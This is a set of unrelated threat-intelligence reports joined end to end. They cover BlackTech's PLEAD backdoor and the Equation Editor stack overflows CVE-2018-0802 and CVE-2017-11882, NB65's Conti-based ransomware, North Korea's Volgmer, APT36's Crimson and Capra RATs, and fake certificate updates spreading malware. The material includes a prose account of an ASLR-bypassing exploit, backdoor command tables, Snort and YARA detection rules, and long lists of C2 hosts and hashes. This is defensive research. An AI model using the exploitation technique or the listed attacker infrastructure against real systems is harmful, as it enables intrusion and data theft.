# “黑凤梨”(BlackTech)最新APT攻击活动分析 ## 概述 “黑凤梨”(BlackTech,T-APT-03)是一个长期活跃在亚洲地区的APT组织,其最早的活动可见于2011年,由2017年5月被国外安全公司进行披露。近期,腾讯御见威胁情报中心抓获了一例该APT组织的最新攻击活动,该次攻击采用office文档为诱饵进行鱼叉攻击,通过最新的0day漏洞来投递载荷。载荷为代号为PLEAD的RAT木马,该木马主体是可直接执行的二进制代码(shellcode),精湛短小,非常容易免杀。从2011年至今,腾讯御见威胁情报中心在跨度长达6年的时间内对该组织进行追踪,总共捕捉到数百个样本和c&c域名。 ## 载荷投递 ### 本次载荷投递 本次攻击采用鱼叉攻击的方式,诱饵文件为繁体的携带有最新office 0day的文档,该恶意文档内嵌了一个PEPayload,两个OLE对象,OLE的对象的目的是拉起PE Payload。其中OLE1则包含了0day CVE-2018-0802的漏洞利用程序,OLE 2包含了CVE-2017-11882的漏洞利用程序,这两个漏洞均位于Microsoft Office的公式编辑器Eqnedt32.exe中。 #### 漏洞分析 微软在11月份发布的补丁中,修复了CVE-2017-11882漏洞,通过二进制patch的方式对存在栈溢出的函数和调用者进行了长度校验,同时对Eqnedt32.exe增加了ASLR防护措施,增加了漏洞利用的难度。CVE-2017-11882栈溢出漏洞存在于Eqnedt32.exe处理公式中字体名字的过程,由腾讯电脑管家报告的高危漏洞CVE-2018-0802同样也是一个栈溢出漏洞,也位于Eqnedt32.exe处理公式中字体名字的过程。 1. 关键数据结构 漏洞存在于Office的公式编辑器组件Eqnedit.exe(Equation Editor)中。Equation Editor和MathType都是Design Science开发的公式编辑软件,都采用MTEF(MathType’s Equation Format)格式来存储公式数据。Equation Editor生成的公式数据汇存放在Office文档的一个OLEObject中,该object class为Equation.3,而obj data区存放的是公式的私有数据OLE Equation Objects。OLE Equation Objects包括两部分,头部是28字节的EQNOLEFILEHDR结构,其后则是MTEF数据。 MTEF数据则包括两部分,一部分是MTEF Header,一部分是描述公式内容的MTEF Byte Stream:MTEFByte Stream包括一系列的记录records,每一个record以tagbyte开始,tagbyte的低4位描述该record的类型,高4位描述该record的属性。 2. 漏洞溢出分析 该漏洞发生在从MTEF Byte Stream中解析Font Record时出现栈溢出。对照上图的二进制数据,tag type 是8,tface 为0x0,style为0x1,剩下的则是字体名字。漏洞发生在sub_421E39函数中,它主要用来初始化一个结构体LOGFONT,该结构体定义如下:其中字体名字lfFaceName是一个长度为0x20的字符数组。函数sub_421E39在一开始,调用strcpy复制传入的字体名字,可以看到在这过程中,没有任何的长度校验,如果传入的字体名字长度超过0x20,那么这里将会产生溢出。sub_421E39函数在sub_421774函数中被调用,从中可以看到,sub_421E39函数初始化的LOGFONT结构体是保存在栈上的,如果构造足够长的字体名字,那么sub_421E39函数里面的strcpy操作,将会溢出覆盖掉sub_421774函数的返回地址。 #### 漏洞利用分析 1. 触发漏洞前 在调用sub_421E39前查看当前的调试信息,栈上第一个参数正是字体名字,也是一段精心构造的shellcode。 2. 触发栈溢出 可以发现栈上的一个返回地址0x1d14e2被修改为了0x1d0025。由于11月份修补的Eqnedt32.exe中增加了ASLR的防护措施,无法知道当前模块加载的基地址,但是可以利用相对地址不会改变这个特性,通过栈溢出就可以实现将栈上的地址0x1d14e2改为与其相对偏移0x14BD的一个地址,也即是将0x1d14e2的低16位修改为0x0025。 3. Shellcode ret跳转到shellcode:跳转到WinExec执行恶意PE,而%tmp%\DAT9689.tmp是该文档内嵌并已经释放出来的一个恶意PE可执行文件。 ### 历史载荷投递分析 该组织最常使用鱼叉攻击,采用发内容紧贴热点话题的诱饵文件进行攻击。该组织攻击者善于伪装,包括使用文档类图标、反转字符、双扩展名、漏洞利用等。伪装方式分布为: 1. 伪装成文档图标,同正常文档打包在同一压缩包中,诱骗点击。 2. 使用特殊的unicode字符(RTLO)反转文件名实现伪装。 3. 使用双重文件名实现伪装(不显示扩展名的情况下极具欺骗性)。 4. 使用漏洞打包成恶意文档文件。 ## 载荷分析 本次攻击使用的是一个代号为PLEAD的后门程序,该木马的核心功能以shellcode的形式存在,外壳实现的功能通常是分配一块内存,并将加密的shellcode解密到该内存中,完成后直接跳转到相应的内存块执行。为了对抗安全软件的查杀,外壳的代码千变万化,但核心的shellcode至今只发现了三个差异较大的版本: | 版本 | 大小 | 出现时间 | 特点 | |--------|------|----------|------| | 版本1 | 6544 | 2012年 | Shellcode中实现注入到ie中执行主功能代码 | | 版本2 | 5912 | 2014年 | 直接执行主功能函数,去掉了注入ie的代码 | | 版本3 | 3512 | 2015年 | 去掉了提示字符串等信息,精简大小 | 外壳行为分析:创建互斥量,防止重复运行:互斥量格式为将当前时间格式化为以下格式字符串:1....%02d%02d%02d_%02d%02d...2,如1....20180109_0945...2。shellcode存放在局部数组中,极难检测。解密算法如下:获取用户名、计算机名、本机IP地址、系统版本,加密发送到C2,使用http协议: 命令分发: | 命令代码 | 功能 | |----------|------| | C | 获取浏览器上网代理设置和安装软件列表信息 | | L | 获取本地磁盘列表及类型 | | E | 执行一条命令/文件,并通过管道取得执行结果返回(CMDShell) | | P | 并从指定URL重新下载文件到指定位置 | | G | 上传指定文件 | | D | 删除指定文件 | | A | Sleep 指定时间 | ## 总结 随着“互联网+”时代的来临,政府、企业把更多的业务向云端迁移,各行各业都在构建自己的大数据中心,数据价值凸显。在这种趋势下面,根据腾讯御见威胁情报中心的监测数据表明,政府、企业所面临的APT攻击变得越来越频繁和常见。腾讯企业安全针对APT防御方面提供了多种解决方案,腾讯御界、腾讯御点等产品均可以检测和防御本次APT攻击。 ## 附录:IOCs Hash: ``` 3cc380f2e0f333e064f37626631962e6 34e38d4b970be9f19b6f29c83023b498 dc60b65a6082e800ac555d39aca18c1b b3dfe482568c508bc21f8da8a291f2cd 57c0114780d2860a3adbae095c72a97d 5fc4a20161b6d95d5bd0c0567472c4b0 1134972f093ab1ef08b912cabbc43b39 6b022a8cea1bd0e3b511961c7f12da0e 58ebad50377af27347a4a216625ec8c7 bc6b1264f9dfebdde7a4b94ff0f61c83 b0969efc34fe6d06542942b14295305b 4085f90f6934422921bd8602f0a975c0 fda02aaff2ea8c91283f1041257cf36f f0d23a1d2db6f1c52e446f1f0c09ab98 0fd48bd160854bea6e9df66a9451b9ed f3ebe8a08320fe1106e3932873a44bfe f9fb509be917ac38f440e716fa66a332 8c2e717c09cee5234bec059decc04fbc 3d356c2d84c39bab9fcb1fea1a132f6a 2267326efac998fa4ddbc7d8e3940c0d 3c4fe121835467d056a77b60eaf3257b 5708d6c871e56833020be00fcac9b4fa 23b1717f7690f2670585ce42abcf07c0 dcd88df79393a92bbf29824580649d0c fa4bb0c43fcfaaa4d98d6322c376281d 87835a271ff098d7a0a44e45be83a9d8 3b30e94191d82f3566de058a60c4ce41 462372c1f7f27ad12cc452dbb3358122 d152bfd10a93bf3db0fcacbc34555e9a 1c00baebd1d2979a1009652dbc58c1fd 6a97ff47b8d715be62305ff15fb47332 9b6f818f769655c8618ae0420bc994ec 0f8c95206cbfe067d0333185b37de467 3470568793761e75d72eb0c99a4bb6ec c74a645b0a52812f026f5cfe6d168f40 c56f890e9a3e4d9ffd2aba80d95b2f89 6ea02a64df51ab2f12530ffd2e3688de dbeb16d8745a9b9b0daf946d2caecae0 acc03ef1eef25c397972ae27087621a6 97fdb683e7b56bdf198d2b4c0e9b2715 3406ce96eaafd68fa469af2409ad6ffe 639637d46f64f4e0164e704be98c7c67 f5cce3e8c5d8d24edca83ae34d505d61 5a7d8fe286333416796cefc19b0f5cba 87af1c51d21d13899db75f675b1faa87 289286f8289b707d41e74a199a88be64 c6dc9f750f5fddb01f92ab22b062b80a 296dcc2bd1f6359466ff068c8001bbec b2559336f0e73830a411ce6032474d6e c40b172d7e99335e1724dc8ba18a42d7 089d583667b28c2182be1b65b74c2ffb 50ee06096d78ca5eff8d19de8aacf76e cab9d743c0868f7edfe11fa9fb99262b d39b01a44f1487c4bb3c68a528438144 59e9af5b230f46df15e076cd6dd82d1e 45ed3086b3d03b253f8746a174a060d1 1423e253f7a8954ca3c74432b5e4d038 a735b9c81e6cffd576abd914cc635aea cb612bd16abae8bdbd551e78278988f4 76055e90b1e1e9d67139c7645c21092e 7745f7a89aa20da8d681fee4f25741df 65a4384fcbe3d010a57a8530b27e0a4e 976f0e7d1b1d5a4c5dc3f714885134dd 791dbd6071c8d5e04fcaad95b9b6a039 808e8a7ff27e284bbd07cee65403b66c dee1f09ef83a041555ce8b1f3effab01 73add080471429445ecba08d95f03b01 8a81e6a62d3bdcffe074807d7173840f c288f4729f7cdce991dcf7c2b156e854 fd016b952c98a8be9c51c44d2a288c71 cea5d1fcf92da7212bcdc2989a3518e7 463d74f0085a613c44dc9ded28ba903d 6b18b1e939e5a06303220ee16f045a50 062bcc4ed28b41bab70d7efc2e8b1b11 468571266346f4b659b948a67e8ab005 662edc1100e2d8863bf713ae47985245 ab9b323901bcf38b8b990db3cae2b596 bd917f5ac3dc380a6fc53c60c9223deb 4bcb99623c05fc2abaa1b4090b0bee6c 79f1af23d5ab729a3071d1f4c2a0606f 6c3fd725a76d134473062288934ff31c 9d014bc00ecb311db63beeadf0d8bb19 ea1a6799ee02bcadf70b34f7801e525f d016d961bf0cf4b3aec5619b1b5ebc60 73fabddce8887d0253503daa4a50fdf7 f2f1156cc008c30dcd33033110a3e279 a11d30dcfb8cedcb56dad172b213f388 f77bd5d0d0b85c0fb2f986d952891071 455aa863278828122b40eb4c29875551 4c4647f35c0583fbb87ce4a7322d6028 34a0be585725b0076e017c8fcb0fc180 3214cdac71fa4313d195eb81eace4db8 4892a108c084f7471b601194957ec431 6c145f1ad75de785a75903a4a5d485e8 63d453db999cb3a9b388180b7364d43c dc2b8aefe8bd08f196ea7a6f0caa2764 3d341703a981388b3fde70173a172f89 21328d7653dafaf14e15eefd3260568a 69d83dd95abf0f3e9cccaf30d909d8ab a2bfef210952aa4177ec03000b231228 8820d713e7052abe411cccb92c365783 77e8503f721a715a5309f89c88f1da8c 7a00205cdb74c1d5811cc3c44739a348 04a420981c8724b654b30ecb13a1b9a5 7f84dea46b4e29911604a2afaf1c57ab c64778a2ddcc66db666e63ca6781ef3f c6c5b4de5cc10418e2f14305d6541bd4 28da4707d69de5cc3d544d6a90fff8ff 259ce74e8a6ddc2507efa64371f3d45e 89eb892d945034e549118cda2120c17d 7021e319704ba7bddcdc37716a5c879e 123a97612de9089409ad512f3bb2379a 7d166e7a86084eeae5f42211ace8622c a54ef716802bfdcdf362e433efd0edab 402627c57c6127187c7ee1ba9b4e11ad 391974cd1e5338938faf7f9a22ee3bf5 64ec5419edd9ff050d839845a0a5bea3 f7675431685701edb506ffebc182f6ef 2a233c4f6571a2fc3342d6edf3c1e98d 2a94c32c20dd4632e0a5084b134e6344 73993f9f448449f0c5c6977664cfd8fa f0c1cc799d56d58f528f41039895f8f8 019ef03e6b34991c31518ceafa3c6498 01a916c6863f98d8126bb75a4f291a5d ``` C2: ``` greeting.hopewill.com beersale.servebeer.com pictures.happyforever.com cert.dynet.com soo.dtdns.net rio.onmypc.org paperspot.wikaba.com sysinfo.itemdb.com asus0213.asuscomm.com firstme.mysecondarydns.com nspo.itaiwans.com injure.ignorelist.com dcns.soniceducation.com seting.herbalsolo.com kh7710103.qnoddns.org.cn zing.youdontcare.com moutain.onmypc.org icst.compress.to twcert.compress.to festival.lflinkup.net xuite.myMom.info avira.justdied.com showgirls.mooo.com linenews.mypicture.info zip.zyns.com sushow.xxuz.com applestore.dnset.com superapple.sendsmtp.com newspaper.otzo.com yahoo.zzux.com microsfot.ikwb.com facebook.itsaol.com amazon.otzo.com cecs.ben-wan.com av100.mynetav.net rdec.compress.to forums.toythieves.com kukupy.chatnook.com pictures.wasson.com moea.crabdance.com hinet.homenet.org freeonshop.x24hr.com blognews.onmypc.org ametoy.acmetoy.com usamovie.mylftv.com timehigh.ddns.info ikwb55.ikwb.com dpp.edesizns.com hehagame.Got-Game.org wendy.uberleet.com needjustword.bbsindex.com front.fartit.com accounts.fartit.com 177.135.177.54 18.163.14.217 60.249.208.167 220.133.73.13 220.134.10.17 122.147.248.69 220.132.50.81 111.249.102.102 118.163.14.217 59.124.71.29 220.134.98.3 61.219.96.18 114.27.132.233 123.110.131.86 61.58.90.63 122.117.107.178 114.39.59.244 61.222.32.205 60.251.199.226 61.56.11.42 61.58.90.11 123.110.131.86 210.67.101.84 210.242.211.175 211.23.191.4 203.74.123.121 59.125.7.185 59.125.132.175 59.120.169.51 125.227.241.2 125.227.225.181 118.163.168.223 1.170.118.233 dcns.chickenkiller.com subnotes.ignorelist.com mozila.strangled.net boe.pixarworks.com moc.mrface.com su27.oCry.com motc.linestw.com ting.qpoe.com blognews.ezua.com nevery.b0ne.com jog.punked.us africa.themafia.info tios.nsicscores.com dream.wikaba.com pcphoto.servehalflife.com 17ublog.1dumb.com effinfo.effers.com edit.ctotw.tw tw.chatnook.com twnic.crabdance.com asus.strangled.net furniture.home.kg newpower.jkub.com cypd.slyip.com tabf.garrarufaworld.com wordhasword.darktech.org techlaw.linestw.com techlawilo.effers.com support.bonbonkids.hk zany.strangled.net flog.pgp.com.mx job.jobical.com picture.diohwm.com npa.dynamicdns.org.uk webmail.24-7.ro docsedit.cleansite.us fastnews.ezua.com INetGIS.faceboktw.com teacher.yahoomit.com idb.jamescyoung.com picture.brogrammer.org ``` 本文作者:,转载请注明来自FreeBuf.COM # PLEAD # 0Day漏洞 # BlackTech # CVE-2018-0802
# Hackers Use Conti's Leaked Ransomware to Attack Russian Companies A hacking group used Conti's leaked ransomware source code to create their own ransomware for cyberattacks against Russian organizations. While it is common to hear of ransomware attacks targeting companies and encrypting data, Russian organizations have rarely been attacked similarly. This lack of attacks is due to the belief among Russian hackers that if they do not attack Russian interests, the country's law enforcement would turn a blind eye toward attacks on other countries. However, the tables have now turned, with a hacking group known as NB65 targeting Russian organizations with ransomware attacks. For the past month, NB65 has been breaching Russian entities, stealing their data, and leaking it online, warning that the attacks are due to Russia's invasion of Ukraine. The Russian entities claimed to have been attacked by NB65 include document management operator Tensor, the Russian space agency Roscosmos, and VGTRK, the state-owned Russian Television and Radio broadcaster. The attack on VGTRK was particularly significant, leading to the alleged theft of 786.2 GB of data, including 900,000 emails and 4,000 files, which were published on the DDoS Secrets website. More recently, the NB65 hackers have turned to a new tactic—targeting Russian organizations with ransomware attacks since the end of March. What makes this more interesting is that the hacking group created their ransomware using the leaked source code for the Conti Ransomware operation, which Russian threat actors prohibit their members from using against entities in Russia. Conti's source code was leaked after they sided with Russia over the attack on Ukraine, and a security researcher leaked 170,000 internal chat messages and source code for their operation. BleepingComputer first learned of NB65's attacks from threat analyst Tom Malka, but we could not find a ransomware sample, and the hacking group was not willing to share it. However, this changed when a sample of NB65's modified Conti ransomware executable was uploaded to VirusTotal, allowing us to glimpse how it works. Almost all antivirus vendors detect this sample on VirusTotal as Conti, and Intezer Analyze determined it uses 66% of the same code as the usual Conti ransomware samples. BleepingComputer tested NB65's ransomware, and when encrypting files, it appends the .NB65 extension to the encrypted file names. The ransomware will also create ransom notes named R3ADM3.txt throughout the encrypted device, with the threat actors blaming the cyberattack on President Vladimir Putin for invading Ukraine. "We're watching very closely. Your President should not have committed war crimes. If you're searching for someone to blame for your current situation, look no further than Vladimir Putin," reads the NB65 ransomware note. A representative for the NB65 hacking group told BleepingComputer that they based their encryptor on the first Conti source code leak but modified it for each victim so that existing decryptors would not work. "It's been modified in a way that all versions of Conti's decryptor won't work. Each deployment generates a randomized key based on a couple of variables that we change for each target," NB65 told BleepingComputer. "There's really no way to decrypt without making contact with us." At this time, NB65 has not received any communications from their victims and stated that they were not expecting any. As for NB65's reasons for attacking Russian organizations, they stated, "After Bucha we elected to target certain companies, that may be civilian owned, but still would have an impact on Russia's ability to operate normally. The Russian popular support for Putin's war crimes is overwhelming. From the very beginning, we made it clear. We're supporting Ukraine. We will honor our word. When Russia ceases all hostilities in Ukraine and ends this ridiculous war, NB65 will stop attacking Russian internet-facing assets and companies. Until then, fuck 'em. We will not be hitting any targets outside of Russia. Groups like Conti and Sandworm, along with other Russian APTs, have been hitting the west for years with ransomware, supply chain hits (Solarwinds or defense contractors)... We figured it was time for them to deal with that themselves." NB65 further stated that they will never target organizations outside of Russia, and any ransom payments will be donated to Ukraine.
# HIDDEN COBRA – North Korean Trojan: Volgmer ## Systems Affected Network systems ## Overview This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. government partners, DHS and FBI identified Internet Protocol (IP) addresses and other indicators of compromise (IOCs) associated with a Trojan malware variant used by the North Korean government—commonly known as Volgmer. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. FBI has high confidence that HIDDEN COBRA actors are using the IP addresses—listed in this report’s IOC files—to maintain a presence on victims’ networks and to further network exploitation. DHS and FBI are distributing these IP addresses to enable network defense and reduce exposure to North Korean government malicious cyber activity. This alert includes IOCs related to HIDDEN COBRA, IP addresses linked to systems infected with Volgmer malware, malware descriptions, and associated signatures. This alert also includes suggested response actions to the IOCs provided, recommended mitigation techniques, and information on reporting incidents. If users or administrators detect activity associated with the Volgmer malware, they should immediately flag it, report it to the DHS National Cybersecurity and Communications Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and give it the highest priority for enhanced mitigation. ## Description Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer. The U.S. Government has analyzed Volgmer’s infrastructure and identified it on systems using both dynamic and static IP addresses. At least 94 static IP addresses were identified, as well as dynamic IP addresses registered across various countries. The greatest concentrations of dynamic IP addresses are identified below by approximate percentage: - India (772 IPs) 25.4 percent - Iran (373 IPs) 12.3 percent - Pakistan (343 IPs) 11.3 percent - Saudi Arabia (182 IPs) 6 percent - Taiwan (169 IPs) 5.6 percent - Thailand (140 IPs) 4.6 percent - Sri Lanka (121 IPs) 4 percent - China (82 IPs, including Hong Kong (12)) 2.7 percent - Vietnam (80 IPs) 2.6 percent - Indonesia (68 IPs) 2.2 percent - Russia (68 IPs) 2.2 percent ## Technical Details As a backdoor Trojan, Volgmer has several capabilities including: gathering system information, updating service registry keys, downloading and uploading files, executing commands, terminating processes, and listing directories. In one of the samples received for analysis, the US-CERT Code Analysis Team observed botnet controller functionality. Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library (.dll) files. The malware uses a custom binary protocol to beacon back to the command and control (C2) server, often via TCP port 8080 or 8088, with some payloads implementing Secure Socket Layer (SSL) encryption to obfuscate communications. Malicious actors commonly maintain persistence on a victim’s system by installing the malware-as-a-service. Volgmer queries the system and randomly selects a service in which to install a copy of itself. The malware then overwrites the ServiceDLL entry in the selected service's registry entry. In some cases, HIDDEN COBRA actors give the created service a pseudo-random name that may be composed of various hardcoded words. ## Detection and Response This alert’s IOC files provide HIDDEN COBRA indicators related to Volgmer. DHS and FBI recommend that network administrators review the information provided, identify whether any of the provided IP addresses fall within their organizations’ allocated IP address space, and—if found—take necessary measures to remove the malware. When reviewing network perimeter logs for the IP addresses, organizations may find instances of these IP addresses attempting to connect to their systems. Upon reviewing the traffic from these IP addresses, system owners may find some traffic relates to malicious activity and some traffic relates to legitimate activity. ### Network Signatures and Host-Based Rules This section contains network signatures and host-based rules that can be used to detect malicious activity associated with HIDDEN COBRA actors. Although created using a comprehensive vetting process, the possibility of false positives always remains. These signatures and rules should be used to supplement analysis and should not be used as a sole source of attributing this activity to HIDDEN COBRA actors. #### Network Signatures ``` alert tcp any any -> any any (msg:"Malformed_UA"; content:"User-Agent: Mozillar/"; depth:500; sid:99999999;) ``` #### YARA Rules ``` rule volgmer { meta: description = "Malformed User Agent" strings: $s = "Mozillar/" condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $s } ``` ## Impact A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include: - temporary or permanent loss of sensitive or proprietary information, - disruption to regular operations, - financial losses incurred to restore systems and files, and - potential harm to an organization’s reputation. ## Solution ### Mitigation Strategies DHS recommends that users and administrators use the following best practices as preventive measures to protect their computer networks: - Use application whitelisting to help prevent malicious software and unapproved programs from running. Application whitelisting is one of the best security strategies as it allows only specified programs to run, while blocking all others, including malicious software. - Keep operating systems and software up-to-date with the latest patches. Vulnerable applications and operating systems are the target of most attacks. Patching with the latest updates greatly reduces the number of exploitable entry points available to an attacker. - Maintain up-to-date antivirus software, and scan all software downloaded from the Internet before executing. - Restrict users’ abilities (permissions) to install and run unwanted software applications, and apply the principle of “least privilege” to all systems and services. Restricting these privileges may prevent malware from running or limit its capability to spread through the network. - Avoid enabling macros from email attachments. If a user opens the attachment and enables macros, embedded code will execute the malware on the machine. For enterprises or organizations, it may be best to block email messages with attachments from suspicious sources. - Do not follow unsolicited web links in emails. ### Response to Unauthorized Network Access - Contact DHS or your local FBI office immediately. To report an intrusion and request resources for incident response or technical assistance, contact DHS NCCIC ([email protected] or 888-282-0870), FBI through a local field office, or the FBI’s Cyber Division ([email protected] or 855-292-3937).
# Earth Karkaddan APT: Adversary Intelligence and Monitoring (AIM) Report ## Executive Summary ### Brief Definition APT36, or Earth Karkaddan, is a politically motivated advanced persistent threat (APT) group primarily focused on compromising Indian military and diplomatic resources. Earth Karkaddan is known for using social engineering and email as an entry point, which then leads to the deployment of the Crimson remote access trojan (RAT) malware. Aside from using the Crimson RAT malware, Earth Karkaddan also recently expanded its Windows malware arsenal to include other RATs such as ObliqueRat and NetWire malware. In the past, the APT group has occasionally used custom Android application package (APK) backdoors. ### Aliases - Operation C-Major - APT36 - PROJECTM - Mythic Leopard - Transparent Tribe ## Earth Karkaddan Activity Summary ### Noteworthy Events Timeline - **2016**: Earth Karkaddan APT conducted an information theft campaign targeting Indian military and government entities via spear phishing attacks. - **2018**: The group targeted Pakistani activists and civil society networks using a phishing campaign to deploy the Crimson RAT malware and an Android spyware called StealthAgent. - **2020**: Earth Karkaddan targeted an Indian defense organization using fake profiles of attractive women as social engineering lures. - **2021**: Earth Karkaddan used Covid-19 vaccine lures to target the Indian medical industry. ### Earth Karkaddan Infection Chain The following infection chains are typical of Earth Karkaddan campaigns, but these may vary slightly over time. 1. The most common arrival method for Earth Karkaddan is via a spear phishing email that contains an attached document. The document contains a malicious macro, which, when enabled, will drop and execute a RAT malware, most commonly Crimson RAT. The RAT malware will then communicate with its command-and-control (C&C) server and can either download more malware or perform backdoor commands such as exfiltrating data. 2. The Crimson RAT malware can also arrive via a USB worm. 3. Earth Karkaddan can also infect victims using a custom-made Android RAT that can arrive via a phishing link. From a global view of Earth Karkaddan activity as seen from Trend Micro Smart Protection Network (SPN) data gathered from January 2020 to September 2021, we saw that India is the main target of one of the APT’s most recent campaigns. ### Earth Karkaddan Arrival Method Earth Karkaddan’s most common arrival method is via malicious spam, which is a typical entry vector used by other APT groups. The group can use a wide variety of lures, ranging from a fake government-related document to honeytraps with fake profiles of attractive women and coronavirus-related malspam. Below is an example of an Earth Karkaddan phishing email with a malicious document attachment. The attached file is a Microsoft Office document that contains a malicious macro featuring fake Covid-19 information to lure victims into executing the macro. Once the victim executes the macro, it will decrypt an embedded dropper executable that is hidden inside a text box. The executable will be saved to a hardcoded path and will be executed on the victim’s machine. Once the executable file is executed, it will proceed to unzip a file named `mdkhm.zip` and will execute the Crimson RAT executable named `dlrarhsiva.exe`. ### Crimson RAT Malware Analysis Based on our observation, Crimson RAT is the most common malware used in Earth Karkaddan campaigns, with the main purpose of obtaining and exfiltrating information from targeted Windows systems and uploading them to the attacker's C&C server. The Earth Karkaddan APT group usually delivers this malware using a spear-phishing email with a malicious document attachment to deceive a user into executing the said file manually and enabling its macros. Upon execution, the Crimson RAT creates persistence using the following registry: - **Registry**: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - **Key**: dlrarhsiva (This key is usually a random name) Like many other older RATs, Crimson RAT has also been cracked by threat actors and has been shared or distributed underground. Thus, it’s important to note that a Crimson RAT infection may not always mean that it is from an Earth Karkaddan campaign. Based on our analysis, the Crimson RAT modules can steal credentials from web browsers on a victim machine. The malware contains minimal amounts of obfuscation and is compiled as a .NET binary. The simplicity and lack of anti-analysis techniques on the final structure of the file could mean that it possibly did not come from a well-funded organization. The Crimson RAT and other malware (including Android RATs) used in Earth Karkaddan campaigns also usually contain a command to list processes. Crimson RAT has another backdoor command that lists running processes called “getavs.” Based on the name of the command, it is possible that its purpose is to identify processes related to antivirus software. Crimson RAT modules can also capture screenshots and keystrokes, while some variants can even collect files from removable drives (such as USB drives). ### ObliqueRat Malware Analysis Aside from the Crimson RAT malware, the Earth Karkaddan APT group is also known to use the ObliqueRat malware in its campaigns. This malware is also commonly distributed in spear-phishing campaigns using social engineering tactics to lure victims into downloading another malicious document. In one of its most recent campaigns, the lure used was that of the Centre for Land Warfare Studies (CLAWS) in New Delhi, India. Once the victim clicks the link, it will download a document laced with a malicious macro. Upon enabling the macro, it will then download the ObliqueRat malware that is hidden inside an image file. The macros inside the file will then download a bitmap image (BMP) file where the ObliqueRAT malware is hidden, decode the downloaded BMP file, then create a persistence mechanism by creating a Startup URL that will automatically run the ObliqueRAT malware. ### Capra RAT Malware Analysis Aside from deploying Windows RATs, Earth Karkaddan is also known for using Android RATs to spy on their targets. This was particularly noted in a 2018 campaign wherein Earth Karkaddan targeted Pakistani activists and civil society networks using an Android spyware known as StealthAgent, which is detected by Trend Micro as AndroidOS_SMongo.HRX. A modified version of the open-source AhMyth Android RAT was also used in a 2020 Earth Karkaddan campaign that targeted Indian military and government personnel using fake porn and Covid-19 tracking apps as lures. We observed this group using another Android RAT—Trend Micro has named this “CapraRAT”—which is possibly a modified version of an open-source RAT called AndroRAT. While analyzing this Android RAT, we saw several similar capabilities to the Crimson RAT malware that the group usually used to infect Windows systems. The following are the details of one of the most recent Earth Karkaddan-related CapraRAT samples that we have found in the wild: - **SHA-256**: 8cb542f5793279b8a11af28e9352f41d400856a28e40ed1daa323b47f9ea3e3c - **Filename**: YouTube new.apk This malware can collect a large amount of information from compromised devices. Some of its supported features are as follows: - Accesses the device's phone number - Launches other apps’ installation packages - Opens camera - Accesses the device's microphone and records audio clips - Accesses the device's registered country and network provider information - Accesses the device's unique identification number - Accesses the device's specific current location - Accesses the device's phone call history - Accesses the device's contacts It should be noted that the malicious application relies on the user accepting several permissions upon installation to provide the RAT with access to the stored information and data on the device. ### Indicators of Compromise A list of indicators can be found in this text file.
# Mokes and Buerak Distributed Under the Guise of Security Certificates The technique of distributing malware under the guise of legitimate software updates is not new. As a rule, cybercriminals invite potential victims to install a new version of a browser or Adobe Flash Player. However, we recently discovered a new approach to this well-known method: visitors to infected sites were informed that some kind of security certificate had expired. Unsurprisingly, the update on offer was malicious. We detected the infection on variously themed websites — from a zoo to a store selling auto parts. The earliest infections found date back to January 16, 2020. ## Attack Pattern This is what visitors of any of the hacked websites saw: The alarming notification consists of an iframe — with contents loaded from the third-party resource ldfidfa[.]pw — overlaid on top of the original page. The URL bar still displays the legitimate address. This is what the malicious piece of code inserted into the original HTML page looks like: From the screenshot, it can be seen that the script parameters depend on the referrer, user_agent, and cookie values of the user. While the following fixed values are used as the user_agent_X and timestamp_X strings: ``` user_agent_X = Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36 timestamp_X = 1579118411.0231 (01/15/2020 @ 8:00pm (UTC)) ``` The code inserted by the cybercriminal loads the external malicious script ldfidfa[.]pw/jquery.js?&up= &ts= &r= &u= &c=. ### Malicious jquery.js Script The jquery.js script overlays an iframe that is exactly the same size as the page. The iframe content is loaded from the address https[:]//ldfidfa[.]pw//chrome.html. As a result, instead of the original page, the user sees a seemingly genuine banner urgently prompting to install a certificate update. Clicking the Install (Recommended) button on the banner initiates the download of the file Certificate_Update_v02.2020.exe, which we detect as Exploit.Win32.ShellCode.gen. Analysis of the file showed it to be Trojan-Downloader.Win32.Buerak, packed using Nullsoft Scriptable Install System. It is not the only malware distributed by the attackers. For example, Backdoor.Win32.Mokes was spread via the same campaign earlier in January. ## IoC - Exploit.Win32.ShellCode.gen - B3290148681F8218ECB80CA430F9FDBA (Certificate_Update_v02.2020.exe) - Trojan-Downloader.Win32.Buerak - CE1931C2EB82B91ADB5A9B9B1064B09F - Backdoor.Win32.Mokes - 094ADE4F1BC82D09AD4E1C05513F686D - F869430B3658A2A112FC85A1246F3F9D - 5FB9CB00F19EAFBF578AF693767A8754 - 47C5782560D2FE3B80E0596F3FBA84D3 ## C&C - kkjjhhdff[.]site (47.245.30[.]255) - oderstrg[.]site ### Categories - Backdoor - Digital Certificates - Trojan - Vulnerabilities and exploits - Website Hacks
``` Type Observable Domain orionfile.com Domain tawaranmurah.com URL http://www.tawaranmurah.com/home/newitems.php URL http://www.orionfile.com/rssfeeds/lang1.php IP 81.4.100.197 Artifact 479b9e6d7a5d35d8854756be845de34e270214d145ddbd8f70b0c9755b4a62a8 Artifact 6373cceae42086db2ec0d7d801540206ad7cd16130f0fdc0bf1d5e20cca876d6 Artifact 98214a8ff23135a1e92e2ab029a4806cd1501d0a190798cf37bec90b2b20729e Artifact c0d70c678fcf073e6b5ad0bce14d8904b56d73595a6dde764f95d043607e639b Artifact d7ce022a6bad033fd22b76259ed4071b2d76f1ec547b2924411824aa7362e442 System [install_path]\packages\stop.tmp ```
